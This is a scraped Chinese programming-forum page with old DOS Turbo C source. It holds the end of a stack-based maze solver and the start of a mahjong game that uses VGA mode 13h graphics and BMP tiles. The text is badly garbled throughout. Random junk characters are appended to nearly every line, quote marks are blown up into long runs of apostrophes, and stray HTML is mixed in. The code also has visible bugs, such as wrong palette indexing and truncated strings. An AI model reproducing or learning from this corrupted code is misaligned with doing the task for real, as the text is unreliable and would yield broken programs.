" Q4 G/ v( P0 X0 i: E- U; A/* Marking ''''''''''''''''''''''''''''''''-1'''''''''''''''''''''''''''''''' symbolize the current position cannot be put. */
; J, A* `0 k" I) N, L} /* MarkPrint *// r- u2 q1 K1 j5 R
void FootPrint(PosType curpos)4 j( k, N! s" q5 z
/* The foot of the curpos of the maze has been set ''''''''''''''''''''''''''''''''true''''''''''''''''''''''''''''''''. */1 d2 [" V+ F) x% Z# P
{
! }+ K9 n  {1 G/ xmaze[curpos.x][curpos.y].foot=1;: B! S& q* s# }- Y/ W" l/ c) I
} /* FootPrint */
3 T0 ]+ P' `0 q7 K8 DPosType NextPos(PosType seat,int di)
5 o2 r) g7 C4 l6 f( L{
+ ^" ^6 T2 t$ f1 ~switch(di)/ J+ T5 k9 t% A# @7 q$ g
{) ~# B0 P8 i. c! G
case 1: seat.y++; return seat; /* Eastward */6 d" X* X3 X7 E% E- k0 C$ P/ u
case 2: seat.x++; return seat; /* Southward */; r7 a. A7 ?7 g0 |5 u1 T
case 3: seat.y--; return seat; /* Westward */3 Z' l  j& \; A% f) R$ D
case 4: seat.x--; return seat; /* Northward */: A2 U/ L+ S! g6 Z) g4 X
default: seat.x=0; seat.y=0; return seat;: C9 h6 E, K* Z- O  M
}
1 Y" b. ~0 s0 `& _1 t1 A, e: n} /* NextPos */
+ ~: p, E; q$ a0 [6 n2 K/ I: ~
( ]6 @9 R* t% S. J) @+ \/* The key to the program. */
* X, r! t1 N7 y- j( M; j/* Pre: The maze array &amp; the startplace &amp; the endplace.- |9 G1 P3 e7 \$ C% j3 U0 `7 K" J
Post: Find the one traverse of the maze and perform the mazepath.$ i/ H  [) n4 l( ~
Uses: The ADT stack class.' A; K, e; h; T
*/5 U5 k4 s% ?/ [, Y
Status MazePath(PosType start,PosType end)5 O; C8 {& e( K; U# v9 s
{4 r5 @$ }! W8 B" [1 x6 ~0 `( J( v
PosType curpos;" z/ [8 Z1 M. ~/ q7 c8 w) _. u% v
int curstep;
# t& ^8 _  V8 g  C% p" O6 iSElemType e;
  \* Y0 u* C) ]# C+ K5 ^7 `Stack *s,stack;# D% c3 [. I% |3 P6 l; G4 S" Z
stack.base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));% s1 [9 o/ w: Q- K( V& {2 n
if(!stack.base) Error("Overflow");
" [9 u4 a: W6 cstack.top=stack.base;
! W2 ]4 P3 k+ w) R1 n/ \9 mstack.stacksize=STACK_INIT_SIZE;! B+ R% {" a/ Y7 f1 A6 t: L7 Z
s=&amp;stack;
7 O' F2 k! @; a. Y, p! ecurpos=start;
% V+ H3 r# @/ ^# S# N7 r% V2 fcurstep=1;
- |# Q; T/ L4 L$ ^do& [. _3 X) l/ q; G/ x
{9 _% q2 O: ]$ E5 b# U, g- v
if(Pass(curpos))
; D  a! x5 a$ X, B{
3 b  G+ F; K# E; C( T  z) fFootPrint(curpos);
' a* e; |  c% O7 m6 F1 S; Be.ord=curstep; e.seat=curpos; e.di=1;
3 ]8 N$ Q& v6 |/ H. H; W5 Wgotoxy((curpos.y+1)*2,curpos.x+2);
! e% P) l& O* B8 B% h" Zputch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');
$ c; J, F" p  Y+ odelay(8000); /* pospone time. */% ~" A: l( A: n+ h
Push(s,e);  L# e+ U" y/ b' K3 y0 E: x
if(curpos.x==end.x&amp;&amp;curpos.y==end.y) /* Proceed recursively. */
& Z. p3 m0 T. X; l{( C0 ^; ~9 ]$ H; n  G1 x$ g) E
DestroyStack(s);2 v# y5 M+ _7 f) B6 l
return TRUE;1 @0 t" E, E; i* ]/ H
}% D* e9 U9 }8 ]$ d
curpos=NextPos(curpos,1); /* Try next position. */
& c3 [4 A) ]6 x1 _curstep++;1 q8 d5 Y$ }) E/ h) U7 x
}
" d1 J) \1 d, Z* ]; [else
! D1 u8 U1 E3 X7 U8 D' J0 y{
. [0 o, o! g+ t  W. o6 }& qif(!StackEmpty(s))7 ], R6 L- D5 P: |7 i" S/ q! E- `7 F
{+ {& w' O7 Z! ~" L7 z/ b) _
e=Pop(s,e); /* Removed e from s. */
8 U7 u) S, I% V2 Pwhile(e.di==4&amp;&amp;!StackEmpty(s)) /* Four directions have been checked
  s6 c9 ?) m* m, ?; Wand s is not empty. */  b5 a; ]! O* ?" j, P. m, i, B
{+ r- _+ t% S) ]( `$ m9 G
MarkPrint(e.seat);
/ D- c+ |+ `& x0 C; K5 bgotoxy((e.seat.y+1)*2,e.seat.x+2);
1 i! ]3 j+ P/ r0 Kputch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');4 d: w3 v7 F" L( i6 T: u
delay(8000); /* Pospone time. */
- i. r2 B, O# K) q  B4 I" agotoxy((e.seat.y+1)*2,e.seat.x+2);
! x" ?0 f* j) uputch('''''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''''');
) ]/ G$ m: M# @$ ke=Pop(s,e); /* Remove e from s. */
. ?- {$ E5 J" k" n/ ]) m0 x. ucurstep--;  M  V2 ]8 [5 B+ f
}
5 ?6 `& {& G  S3 Qif(e.di&lt;4) /* The current position hasnot been checked. */
$ R5 f8 Y+ d( `/ ]7 e5 V{
. h  ~7 ^$ K7 _. De.di++;
8 f( U# u7 G$ L& b9 _& APush(s,e); /* Insert e into s. */
. J8 U  c3 m( @' tcurpos=NextPos(e.seat,e.di); /* Try next position. */7 q$ O, k2 ]  `5 L$ H  q  y
}
8 t- ?% M4 z2 d6 h% q0 }}
% I  p6 @1 H7 g* T; M}
; U; X3 u$ R) Y7 x}' u3 r. K, h& i* i- M0 i
while(!StackEmpty(s));
; l0 C% [& @5 g5 rDestroyStack(s);
: ]  I. w6 C6 P# Greturn FALSE;' J3 j* n. R  R0 N/ x
} /* MazePath */
+ ]* h! Y# x' }; y$ ]void main()$ x4 Q" }' M3 z9 U9 ]
{
3 k# x1 [; V3 P: n5 gPosType start,end;
" u2 m# Z3 P2 H8 z9 ^CreatMaze();0 O9 W+ z, C8 U1 p
start.x=StartPlace.y;, \+ F5 ?! W5 B( i9 b
start.y=StartPlace.x;
' k  |2 R6 x( C, A3 wend.x=EndPlace.y;$ u% h* [% I$ T* p; J9 ~; C/ M
end.y=EndPlace.x;5 l4 W) V% h7 `0 y, T
if(MazePath(start,end)); E  S. J$ g: A* a
{$ @& W& B! x% @7 }/ Y
gotoxy(2,22);
" P" e9 A8 D# S+ cprintf("ath found\n");
3 X8 l0 B( X# w}* `8 E- v0 S* k5 \+ q5 Y7 m9 q. b, B
else& `# P' g0 e, ~7 I& J
{& }7 b. ~) F; w/ a5 L- I
gotoxy(2,22);
" W4 }6 C7 B* H9 f5 Bprintf("ath not found\n");) l( w  ?, |* v8 ^( n& @% ~
}1 J5 K6 q# |1 G! r
getch();
9 T7 Y( V* O0 Y# S$ T% B) }$ gclrscr();
/ f9 N3 w1 }$ N4 Q: X( z} </P></DIV>
作者: 韩冰    时间: 2004-10-4 02:36
<><b><FONT color=#000000>.:.:上海黑暗之龙--麻将原代码:.:.</FONT></b></P><DIV 626px; HEIGHT: 132px" align=left>< align=left>部分图片未上传3 x- p) I. o9 i/ y( O- d% `" S, v% w
/*天宇软件
6 q2 a1 A! \7 L% q3 N作者:上海黑暗之龙
9 Z, J# D$ ~2 u- y6 D9 I/ a2002/10/30. S* z9 k* _9 o1 Q' A. K. _
麻将原代码*/# d, I* [# {0 M+ U
#include "dos.h"
! r( [8 d7 k1 Z2 o9 T+ x#include "stdio.h"
  v) B/ C- }3 y/ f1 P#include "graphics.h"
% x* c0 c* ]- h7 v#include "bios.h"7 J( [( ~) u; s2 o- o
#include "conio.h"
! }+ }. o( `: h/ x8 z#include "stdlib.h": E( N8 t7 v" A! T
unsigned char far *video_buffer=(char far *)0xA0000000L;
) t7 N; O' m6 X9 h#define VGA256 0x13 /*图形模式13h*/
# x# [& i, a& X. H" u#define TEXT_MODE 0x03 /*普通文本模式*/
8 h! ~4 h+ i6 W4 K# C8 j- ^#define SETVGA Set_Video_Mode(VGA256)
4 n- x/ z7 ~8 [1 @# C! B#define OUTVGA Set_Video_Mode(TEXT_MODE)
8 W. m' K# q9 X6 S#define BYTE unsigned char
! J0 p% B" |  e' n6 A#define WORD unsigned int
3 r7 l# d/ \( h! o! k- M) @#define DWORD unsigned int
& X5 ?( c9 R; x3 S( i#define ESC 283
' p, L8 c( S: r6 R+ I#define LEFT 19200
" a* s, l/ J! x8 U+ B: ^6 n5 \#define RIGHT 19712
( Z0 Z9 p0 d% M#define H 9064
2 `3 L; l$ k" |" j! T#define ENTER 7181
4 D1 e1 p. d& e4 ^unsigned long int z=54400,zz=0,zy=0,zyy=0,z1=0,zl=10140;
7 [8 q* T  @2 ?& ^: J' {' hint key=0,keyy=0,sing=0,sing1=0,second=0,threes=0;
3 m2 N$ Z) _$ ]4 bstruct chi/ G, L1 v" J) n, N/ z
{
' D/ q3 v' Y& G2 hint lg;) c5 {  D. ^6 i; X* g& {2 n' U
int lgg;' M% e: X1 n" {) K* P- t" b, `) A3 I
}ch[13];2 \6 _2 P: |; R; z
struct mj
3 _  |; z4 S: ]/ x! g% F$ c{ char *name; /*名字*/! C. E& |4 B; G" A" }
int data1; /*是否已出,无用了*/
- B  j3 z" P. qint data2; /*是否在手中,1为自己,2为对方*/  ?3 i) h. ^: t& \8 t1 _
int number; /*同一个花色的第几张,共4张*/
9 J* W. w8 Y3 z* V5 F% s}m[136]={"1.bmp",0,0,1,"1.bmp",0,0,2,"1.bmp",0,0,3,"1.bmp",0,0,4,"2.bmp",0,0,1,6 N$ {4 u: s4 i2 y
"2.bmp",0,0,2,"2.bmp",0,0,3,"2.bmp",0,0,4,"3.bmp",0,0,1,"3.bmp",0,0,2,
+ e" j5 W' ]7 G; i3 \- A0 C"3.bmp",0,0,3,"3.bmp",0,0,4,"4.bmp",0,0,1,"4.bmp",0,0,2,"4.bmp",0,0,3,% Y: `' G; O- k8 Z  v
"4.bmp",0,0,4,"5.bmp",0,0,1,"5.bmp",0,0,2,"5.bmp",0,0,3,"5.bmp",0,0,4,) M  R6 ]3 H+ `( ~  D' P- I3 K' |5 y; t8 d
"6.bmp",0,0,1,"6.bmp",0,0,2,"6.bmp",0,0,3,"6.bmp",0,0,4,"7.bmp",0,0,1,
- }( J4 X2 c) z8 a# N( t"7.bmp",0,0,2,"7.bmp",0,0,3,"7.bmp",0,0,4,"8.bmp",0,0,1,"8.bmp",0,0,2,
3 g4 b" X9 u. ]8 I* H* k6 s"8.bmp",0,0,3,"8.bmp",0,0,4,"9.bmp",0,0,1,"9.bmp",0,0,2,"9.bmp",0,0,3,
1 h% I' k* d: V8 {. j; F8 }"9.bmp",0,0,4,"10.bmp",0,0,1,"10.bmp",0,0,2,"10.bmp",0,0,3,"10.bmp",0,0,4,
' w. w2 `9 ?. [# U"11.bmp",0,0,1,"11.bmp",0,0,2,"11.bmp",0,0,3,"11.bmp",0,0,4,"12.bmp",0,0,1,- L3 V% g+ ~  j/ q0 m( Q: ~
"12.bmp",0,0,2,"12.bmp",0,0,3,"12.bmp",0,0,4,"13.bmp",0,0,1,"13.bmp",0,0,2,
/ C" g; F& i' @/ K"13.bmp",0,0,3,"13.bmp",0,0,4,"14.bmp",0,0,1,"14.bmp",0,0,2,"14.bmp",0,0,3,
" N8 d& @; Z2 @; F  q( {"14.bmp",0,0,4,"15.bmp",0,0,1,"15.bmp",0,0,2,"15.bmp",0,0,3,"15.bmp",0,0,4,
, ^, d  v  H) ^; S"16.bmp",0,0,1,"16.bmp",0,0,2,"16.bmp",0,0,3,"16.bmp",0,0,4,"17.bmp",0,0,1,( f: C! v" C- E& t+ p
"17.bmp",0,0,2,"17.bmp",0,0,3,"17.bmp",0,0,4,"18.bmp",0,0,1,"18.bmp",0,0,2,
' c& O# @' M2 J1 y+ f  A"18.bmp",0,0,3,"18.bmp",0,0,4,"19.bmp",0,0,1,"19.bmp",0,0,2,"19.bmp",0,0,3,. ]& D7 ~* q0 w6 E
"19.bmp",0,0,4,"20.bmp",0,0,1,"20.bmp",0,0,2,"20.bmp",0,0,3,"20.bmp",0,0,4,
6 j5 h6 {# ]8 ^3 X"21.bmp",0,0,1,"21.bmp",0,0,2,"21.bmp",0,0,3,"21.bmp",0,0,4,"22.bmp",0,0,1,
: W! Q+ A& R% z8 G% e: i1 X"22.bmp",0,0,2,"22.bmp",0,0,3,"22.bmp",0,0,4,"23.bmp",0,0,1,"23.bmp",0,0,2,' c5 s) m  M" o6 V* Y: x
"23.bmp",0,0,3,"23.bmp",0,0,4,"24.bmp",0,0,1,"24.bmp",0,0,2,"24.bmp",0,0,3,
' `: I4 T, b$ N. n) Q) y8 z+ d"24.bmp",0,0,4,"25.bmp",0,0,1,"25.bmp",0,0,2,"25.bmp",0,0,3,"25.bmp",0,0,4,6 Q; O/ Q! I: P" L: o
"26.bmp",0,0,1,"26.bmp",0,0,2,"26.bmp",0,0,3,"26.bmp",0,0,4,"27.bmp",0,0,1,  ^+ @# P; R$ h! `; h
"27.bmp",0,0,2,"27.bmp",0,0,3,"27.bmp",0,0,4,"28.bmp",0,0,1,"28.bmp",0,0,2,
6 j% T. j. X8 O; C" S1 N% I4 `"28.bmp",0,0,3,"28.bmp",0,0,4,"29.bmp",0,0,1,"29.bmp",0,0,2,"29.bmp",0,0,3,
5 D7 d  J, y2 S: ~9 M2 ~- e"29.bmp",0,0,4,"30.bmp",0,0,1,"30.bmp",0,0,2,"30.bmp",0,0,3,"30.bmp",0,0,4,
! T* `  F/ ]5 c  L1 ?" o"31.bmp",0,0,1,"31.bmp",0,0,2,"31.bmp",0,0,3,"31.bmp",0,0,4,"32.bmp",0,0,1,
& E$ \3 W. D5 r4 a. y"32.bmp",0,0,2,"32.bmp",0,0,3,"32.bmp",0,0,4,"33.bmp",0,0,1,"33.bmp",0,0,2,
% C, q; R: f5 z) J8 z! \# K"33.bmp",0,0,3,"33.bmp",0,0,4,"34.bmp",0,0,1,"34.bmp",0,0,2,"34.bmp",0,0,3,4 g3 s" p3 [( O. g. I
"34.bmp"};
, E& h2 D2 [% `$ Tstruct every( _$ q5 W9 _5 X: z# I( u1 g" y8 Q
{ int *k; /*名字*/+ z* \- b! u! l7 B& Z4 n
int oneorfour; /*同一张牌的第几张*/4 b5 y8 r/ Z. q; D: c) \, O( G
int number; /*第几张牌136*/! Y3 Z5 j$ \8 t! B. b5 i: e
int p;
5 E0 o! Q  a( I0 gint g;
1 x1 F; K0 x$ Q6 A6 }0 wint c;
3 M4 }/ `: o7 K4 H( gint d[2];
  u: E3 z" F8 |3 m+ J) H8 e  c" {! g};2 l+ V# n" d  d. }9 Z+ U
struct me
' l) g' w' K5 Z, {: P6 V+ O3 Y{ int m; /*定义有几张牌,开始有13张随着游戏的进行,会越来越小*/! E& U3 O6 s5 s8 \7 w
int p; /*乓对方*/
' F8 N( V0 o3 p: v  M2 T! xint c; /*吃对方*/
& p. Q9 q+ g8 }. E# z' T+ gint g; /*杠*/- Q/ }! @- d" v: E

4 j( M; e9 ^% Q. p2 {struct every pp[14]; /*存放手上的牌*/
7 P# h# P- _$ g}me;2 Y0 y! ?. N/ i, H5 @: z. k1 w0 \, f
struct computer
" W  m7 G" C/ \+ w' ?! s{ int m;
- j3 y) b* r3 R0 c6 d/ D+ G( Oint p;
4 l, l/ Y! B$ `5 t! @4 D5 Zint c;. b: ]8 j' T' K* H
int g;( o! C; k  |2 V) f* G* b/ f
struct every pp[14];& ]. E$ i! n/ h# q; T' O2 ?
}computer,comp;- g: l* E2 K# h% [, P

' i, }4 F* i2 t7 M: B, s6 x/* 设置调色板 */) W2 [; Z8 r0 U2 Q$ ]
void Set_Palette(int Color,BYTE r,BYTE g,BYTE b)' a' `7 e, R8 k4 J) H" ]) T
{
. }* a' x9 t5 J9 l! ]outportb(0x3c8,Color); /*0x3c8写端口 写色号*/
$ K' k& R' Y6 B7 i% |, C2 Ioutportb(0x3c9,r); /*0x3c9数据端口 R、G、B的比例*/
6 _4 O; o" U2 b4 v) R, t- moutportb(0x3c9,g);
6 i, E0 ^+ R) a/ G+ ^. Routportb(0x3c9,b);
. `  M0 ~5 `8 k$ f  \3 w' s}
9 k% U) h; R& \/*0x3c7读端口 0x3c6计算机调色板寄存器调用端口*/* n* D% p: H9 C& N+ `8 j! Y
/* 设置显示模式的函数 */
2 X& `# y1 K' }& S$ w, Fvoid Set_Video_Mode(int mode)+ r1 o0 x5 m+ v: H
{
. h" C6 B  {2 i( C8 {union REGS inregs,outregs; /*定义输入和返回寄存器*/- I5 x8 o: x" e3 t: R9 b
inregs.h.ah=0; /*ah存放功能号0h表示进入视频模式*/
4 E3 d0 t' C% O; W( Y  N8 y4 T. \1 Vinregs.h.al=(unsigned char)mode; /*al存放要设定的视频模式*/* W; e# y1 N; b0 Q' X
int86(0x10,&amp;inregs,&amp;outregs); /*通过10h中断设定显示模式int86()包含在dos.h*/% }+ v" |  g1 C
}
7 I7 X; o8 C0 t) o& h2 y* h7 Uvoid v_line(int y0,int y1,int x,unsigned int color)  |+ O1 A5 g% T" p
{ unsigned int address,n,temp;8 I1 v* ^1 O8 w$ Y5 D6 V8 m
if(y0&gt;y1)
- I: S1 H/ H  z6 M{
4 r" ?' Q/ m/ I. }4 }temp=y1;& c) S$ Q4 O/ R+ _, }. h( S- t
y1=y0;3 m! [. g0 z+ Z; J& t0 N
y0=temp;
* g& s* B% M" e9 l% x  d  D5 l( O- c}8 q( @9 p" l, R. d7 ^
address=320*y0+x;
6 e8 A+ N. I5 F  Ufor(n=0;n&lt;=y1-y0;n++)
# k6 m6 K) b3 V3 q{: T9 H) A6 l* r' s* K9 f; }* I6 p
video_buffer[address]=color;1 T: H* N% X9 V3 L( v, ?
address+=320;( |9 m: n9 h9 [: s1 W0 X
}* }4 z1 F; Y0 u; Y: J! {) k
}
4 I' _6 Y2 [3 n  S  o4 avoid h_line(int x0,int x1,int y,unsigned int color)
0 c8 B* U, l' D9 m' L7 ]$ S{ unsigned int address,n,temp;
) B  @- G" K* Z) y, s6 k- o% d* mif(x0&gt;x1)
  Q# l  d- D( @9 t{
2 B! t; T/ _% q+ X* ktemp=x1;( n9 h- _, p+ L9 M! d
x1=x0;4 G! n% ]$ A$ x% o
x0=temp;, ^5 a: Z& k4 Q7 d4 }3 z& _0 \
}5 l, O8 _  A( M7 Y
address=320*y+x0;
6 e( O" X7 o; B$ S. [for(n=0;n&lt;=x1-x0;n++)
$ u' j. F" I$ E! t1 W( C{  j* a& s/ J# L) B& ?/ j
video_buffer[address]=color;, o% s# p  W, F# z- J" I
address+=1;
3 y; a- [: ]6 g* c; }}# \. a5 b% _) f2 C+ N
}
' Y( a7 j  f4 J" W8 @: G6 |void p_pixel(int x,int y,unsigned int color)" Y) R# f. U5 H: s3 J
{ video_buffer[y*320+x]=color;
+ s8 x: E5 |5 E5 W6 b}( s. K5 l2 y: g: X
void s_square(int x,int y,int side,int color)
+ o0 U, U2 N8 |4 I  }{$ ?9 o  U3 _3 @# m
h_line(x,x+side,y,color);
. b5 [( e1 n/ V9 ^h_line(x,x+side,y+side,color);, e! O, y1 c! P) u5 X$ w
v_line(y,y+side,x,color);
6 a; \$ [+ w5 P# [: }v_line(y,y+side,x+side,color);
6 Y; B0 q2 q2 N3 N: i8 H. W/ l}9 K: p, g' s0 r  ~  `) u$ j) m
void r_rectangle(int x1,int y1,int x2,int y2,int color)
4 {$ E5 b/ p( M: s; P" a- X4 u) x{7 ?& n1 u  I) t- d
h_line(x1,x2,y1,color);
9 }+ Q, n( b$ L0 b8 d" Yh_line(x1,x2,y2,color);9 i7 b( |* D- c* P: ]
v_line(y1,y2,x1,color);, R2 s8 b/ q; ?8 \% y* C1 M
v_line(y1,y2,x2,color);
9 K( U' G* J8 C- O/ R8 U0 ?8 o}
. M% a1 |* F% Q. M% S5 L+ `, g2 c5 i& Ovoid fillRectangle(int x1,int y1,int x2,int y2,int color)
3 m, u- t  K2 Z3 X/ K$ Q* b6 O{
$ T' m; P+ ^' ^- a2 Aint i;
- |" x* d0 T& {: qfor(i=y1;i&lt;=y2;i++)
/ T6 N& G0 l: e" N5 b. Z- S; P{' q. U7 r, ^. z) O, U$ W
h_line(x1,x2,i,color);
0 @* k' Z4 Y2 I2 Q- n4 ~& v}
2 f  \  s. I1 o9 U2 M; |# N}
2 B9 I: {( Q3 c; |void showbmp(int l)
: q5 I% Q- ]. O{ FILE *bmp;
/ u! z/ x5 Q* [: |4 {int i,x,y;! D0 c& t( v5 _
BYTE palette[256][3];
% l$ f5 c* X, c% N0 H4 }bmp=fopen(me.pp[l].k,"rb");% z* p2 }3 s6 u, |/ q
fseek(bmp,54,SEEK_SET);
/ W  z6 ~, A" l6 P: h2 w5 x$ @for(i=0;i&lt;256;i++)2 [; Z3 N6 [" |3 M
{
5 T% ^. j8 g) B/ Z5 B$ g/ X. O9 Gpalette[2]=fgetc(bmp)&gt;&gt;2;. h. k/ z9 ]1 I$ j: P
palette[1]=fgetc(bmp)&gt;&gt;2;
! u+ P& a, j2 ?; f$ x  `2 C2 ypalette[0]=fgetc(bmp)&gt;&gt;2;
5 u5 W) q# O3 `4 X1 h6 Efgetc(bmp);- U4 ]- A. g, v" c' x
Set_Palette(i,palette[0],palette[1],palette[2]);
' G2 f6 ]$ B. U' j6 N1 y}1 M3 I2 S# }2 p
for (y=0;y&lt;30;y++)% Q6 ~: J# p$ b7 e% K1 K1 w
for(x=0;x&lt;20;x++)- v) q7 q  D. _  k: t- j8 i
pokeb(0xa000,y*320+x+z+zz+z1,fgetc(bmp));
+ x, _. M) D6 E. s, ?# ^' rfclose(bmp);
, u# s7 N( k. ]( Y& k4 D# J}
: B% @/ m. ?; H# P+ F8 O4 z) O5 dvoid showbmpd(int l), q0 K/ [- X! `+ ]4 W0 v. T' F
{ FILE *bmp;& `2 v1 f0 O9 k% w# n. X, W' A
int i,x,y;
# p9 L" ~' y9 h/ C/ qBYTE palette[256][3];. c# {4 s) r7 o" Q; z% h' L
bmp=fopen(me.pp[l].k,"rb");
% M2 V- e- C( n8 \3 L% y5 Lfseek(bmp,54,SEEK_SET);) t  B) ~# N$ G+ V8 Z; J
for(i=0;i&lt;256;i++)
* A7 v# c) N2 t3 f% x{
- e5 o& J' q- ~palette[2]=fgetc(bmp)&gt;&gt;2;6 T+ A4 r) M( r. p$ \' c+ K
palette[1]=fgetc(bmp)&gt;&gt;2;" p, ]7 L6 P% p5 _! R
palette[0]=fgetc(bmp)&gt;&gt;2;, N$ u( J: a3 c. m' @3 i. L
fgetc(bmp);' J# I) c" g$ w+ o! \  c0 D
Set_Palette(i,palette[0],palette[1],palette[2]);9 q, D9 Y/ i5 |* X+ _! s
}
( j9 B' U! {" t/ }for (y=0;y&lt;30;y++)
) u* l1 X+ z- k4 P: z" s0 d- Y/ j' @6 ~for(x=0;x&lt;20;x++)
" [6 L5 V  S6 J8 j! k4 m6 y& ipokeb(0xa000,y*320+x+zyy,fgetc(bmp));/ B; Z* ^3 o6 T9 T5 W1 m. J, y. d
fclose(bmp);
. I6 q' B7 L  X2 X3 N}
) s; S, g" _. g. Evoid showybmp(int ll)
; ^6 d. J: l( F9 L$ u  Q, R& e{ FILE *bmp;8 E/ I' I+ p9 R0 [- E' v$ C
int i,x,y;
4 U% J* u( L4 \: ]* ABYTE palette[256][3];3 y$ [% j* X. G. m
bmp=fopen(computer.pp[ll].k,"rb");
3 y; }' O, H8 D6 U; t) gfseek(bmp,54,SEEK_SET);0 X- s; E% e% C8 }  j" ]
for(i=0;i&lt;256;i++)
6 I, \& I7 M3 d* h* \0 J' P{
2 P& G+ P8 J9 B  Opalette[2]=fgetc(bmp)&gt;&gt;2;- G& \! a/ f; N( T
palette[1]=fgetc(bmp)&gt;&gt;2;0 B* Q. G) A4 w
palette[0]=fgetc(bmp)&gt;&gt;2;
* b+ X% z7 z; Y- A6 T3 ?5 ]fgetc(bmp);  d. }, r& M7 S7 R% }
Set_Palette(i,palette[0],palette[1],palette[2]);% s; E6 t( K: O
}
; [. Q! }* p& E; w' F. q6 o' u, rfor (y=0;y&lt;30;y++)
7 q  d, k, U) Z* l$ }* ]for(x=0;x&lt;20;x++)
8 Q  C2 i! O. K1 n. _pokeb(0xa000,y*320+x+zy,fgetc(bmp));
, A6 @0 M' t  e% h" J; R- L1 ufclose(bmp);# m, _/ j& R4 l: v) |
}
+ m0 [0 X. N/ E' yvoid showcbmp(int ll)* [6 C* M0 [8 q8 W
{ FILE *bmp;0 n- S+ P; i# e& i4 q
int i,x,y;
9 n7 {2 O7 ]/ H7 q7 g6 [9 P/ ~8 yBYTE palette[256][3];; F3 B7 J" H: b3 C! O: O- P. y
bmp=fopen(computer.pp[ll].k,"rb");
% P! R4 D9 X& U. _2 rfseek(bmp,54,SEEK_SET);
* R2 [/ N& m  }+ @for(i=0;i&lt;256;i++)1 l, f( z! X# z9 z! e7 [
{
4 L3 X7 s+ I8 U! o9 I# \' H3 a' \palette[2]=fgetc(bmp)&gt;&gt;2;
! H/ w' x6 z# u* b! dpalette[1]=fgetc(bmp)&gt;&gt;2;
! x' j" r* L# y" p; u4 x2 upalette[0]=fgetc(bmp)&gt;&gt;2;
4 f7 ~8 d, l: yfgetc(bmp);6 H% z' L6 f4 i% ]" y+ L; l" E
Set_Palette(i,palette[0],palette[1],palette[2]);
/ K. _, l& T1 i  v6 x! N. e}
( d1 X& k0 [6 ofor (y=0;y&lt;30;y++)! G; ^0 o5 @! |2 l, U0 [. T8 u
for(x=0;x&lt;20;x++)
! I" Y" j. ^, ]& E9 m. o  B6 R7 Spokeb(0xa000,y*320+x+zyy,fgetc(bmp));
* J& ]) i: m/ J# ~1 J# `fclose(bmp);% {( f# f4 H3 {. L# }
}7 E/ y8 Y7 b- m( A. K
void bmpp(int number)
. ]- P) `, e- O* |{ FILE *bmp;
. |9 i- {9 {7 d% f' R$ J7 F. H. Tint i,x,y;7 s, e9 w: u! m
BYTE palette[256][3];
' C  z! u( o+ S' F9 U8 cbmp=fopen(m[number].name,"rb");
( x" C) Z( B/ D. Q. f) v3 a7 q' [fseek(bmp,54,SEEK_SET);+ j8 C% u. P8 }) Q# }
for(i=0;i&lt;256;i++)
& I: b6 x: C* `" R{- R+ x9 k; W  \# p2 ?1 x
palette[2]=fgetc(bmp)&gt;&gt;2;! m' J9 n! L% E  B" ~( \
palette[1]=fgetc(bmp)&gt;&gt;2;( Y( r. g, @5 F; W5 V
palette[0]=fgetc(bmp)&gt;&gt;2;) x) S  @" z8 e2 G1 J8 f$ g% ?' D
fgetc(bmp);" a& x( g5 K7 O9 f
Set_Palette(i,palette[0],palette[1],palette[2]);
) w  ?7 N% j/ C  b" N& p}
/ U) f$ F) r3 o% }for (y=0;y&lt;30;y++), N# @7 }# M- G, q+ ^) m
for(x=0;x&lt;20;x++)
' _) ^+ N; @: [pokeb(0xa000,y*320+x+zl,fgetc(bmp));. C  o& n1 t, `; P! E9 H9 L
fclose(bmp);% \& D- k3 Q; F1 x$ o$ A4 h
}7 y  e% h8 Z. a$ v, e0 B9 d9 r, L
void comlipai() /*整理电脑的牌*/1 n- L0 o; e; g6 [6 |0 y
{ int n,j,u;: Q1 `9 `2 Y% o
int *lingshi;
- H  M5 B2 l3 C" L% r( Ffor(n=0;n&lt;computer.m;n++)2 `* K) t( o# I$ {$ e
for(j=n;j&lt;computer.m;j++)
$ L6 Q  t! p" J2 [/ J& l* ?* {+ I{
/ [" c, Y6 M4 t8 f) aif(computer.pp[n].number&gt;computer.pp[j+1].number)
' F% f" Y& o" T. y" q{
8 E: v+ L6 F" U$ {lingshi=computer.pp[n].k;1 X( p  _0 `6 b+ X# P( M+ d
computer.pp[n].k=computer.pp[j+1].k;
2 r& P. D- K* Qcomputer.pp[j+1].k=lingshi;& }0 E8 N5 a/ X, s
u=computer.pp[n].oneorfour;
) r$ {6 p" _! l" o  Fcomputer.pp[n].oneorfour=computer.pp[j+1].oneorfour;
0 L2 s9 }: f4 y4 R) j, B: A, `computer.pp[j+1].oneorfour=u;- ?1 t( t5 z7 V% b; |
u=computer.pp[n].number;7 C5 u0 N) i8 ?$ r
computer.pp[n].number=computer.pp[j+1].number;. p4 ^: V1 i# x  t$ W
computer.pp[j+1].number=u;
2 j9 B3 B4 M$ M! W6 F}  R* M+ x* n- v: L# _% t
else
: m. }* L7 q' I% W+ S7 xif(computer.pp[n].number==computer.pp[j+1].number). G0 U$ Z9 F3 c) j
if(computer.pp[n].oneorfour&gt;computer.pp[j+1].oneorfour)3 W  z- h; h/ r0 q) d4 ^
{
* h) D& S5 s; Y3 r8 C! ?lingshi=computer.pp[n].k;
7 E7 H0 U0 |4 b% hcomputer.pp[n].k=computer.pp[j+1].k;
3 }8 d; u- M! O: vcomputer.pp[j+1].k=lingshi;
2 G& l! S0 Q0 x+ i4 hu=computer.pp[n].oneorfour;
: T9 V0 W" [* I+ ^& ocomputer.pp[n].oneorfour=computer.pp[j+1].oneorfour;6 @1 R5 O6 I" P4 T8 a; q% E, _# k
computer.pp[j+1].oneorfour=u;* q) M4 W6 @$ @1 x1 u6 R; a0 p* |, t
u=computer.pp[n].number;$ H" m$ E) y+ x9 T9 F! b9 b
computer.pp[n].number=computer.pp[j+1].number;' \( _0 ~; {( r
computer.pp[j+1].number=u;
! b1 ]$ L- w( Y3 t! ?+ ]# f- V8 Y/ L}& a. K; d0 L/ Z, y# U
}$ i8 \6 i" ?1 X* o/ ~7 H! h
}
. |- C, r! m' v5 N$ ovoid melipai()
7 ?! t; M' _9 w+ w6 Y; b% z9 p{ int n,j,u;4 L3 ^5 U4 `+ ~3 H0 g# V" q
int *lingshi;* r8 A/ k+ ]% L: o8 Z) q- K; f# H
